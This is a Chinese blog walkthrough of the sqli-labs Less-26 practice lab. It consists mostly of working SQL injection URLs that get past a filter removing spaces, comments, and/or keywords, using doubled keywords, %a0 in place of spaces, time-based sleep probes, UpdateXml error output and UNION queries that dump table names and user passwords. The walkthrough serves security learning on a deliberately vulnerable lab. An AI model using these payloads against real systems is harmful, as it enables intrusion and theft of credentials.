zoukankan      html  css  js  c++  java
  • 【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基于错误的去除了空格和注释的注入)

    看了下源码

    所有的注释形式和反斜线,and,or都被了过滤掉了

    单引号没有过滤

    空格也被过滤了

    http://localhost/sqli-labs-master/Less-26/?id=1'

    http://localhost/sqli-labs-master/Less-26/?id=1' '

    看了网上的一些方法都是使用了%a0替换掉了空格

    http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1

    但是出了一点问题,似乎无法识别%a0这个字符,有人说是window环境下apache的问题

    可以先放着,因为这个语句是可以正常被执行的

    http://localhost/sqli-labs-master/Less-26/?id=1'oorr'1'='1
    SELECT * FROM users WHERE id='1'or'1'='1' LIMIT 0,1

    利用这一点,可以构造这样的注入

    id参数的值不包含注释不包含空格,却可以在正常执行,当user()的第一个字符为'r'的时候,延时1s

    http://localhost/sqli-labs-master/Less-26/?id=1'%26%26sleep(ascii(mid(user(),1,1))=114)%26%26'1'='1
    select * from users where id='1'&&sleep(ascii(mid(user(),1,1))=114)&&'1'='1' limit 0,1

    当然出错信息没有被屏蔽也可以用UpdateXml函数直接报错来显示

    http://localhost/sqli-labs-master/Less-26/?id=1'%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26'1'='1

     换到LAMP环境下再试一下

    使用%a0代替空格

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,'3

    payload

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security

    取数据

    http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a01,1%a0union%a0select%a01,2,'3

  • 相关阅读:
    <转>MSDN上关于XPath的语法文章
    <转>正则表达式语法
    <转>反射技术的简单介绍
    <转>css中用expression实现js的onmouseover/onmouseout事件
    <转>在xslt中实现split方法对查询字符串进行分隔
    <转>SQL Server中的XML数据进行insert、update、delete
    <转>VS2010项目转换到VS2008下方法
    <转>在xslt 1.0 中取得当前时间
    C# 发送邮件的Helper类
    DataTable 类的学习笔记
  • 原文地址:https://www.cnblogs.com/omnis/p/8367365.html
Copyright © 2011-2022 走看看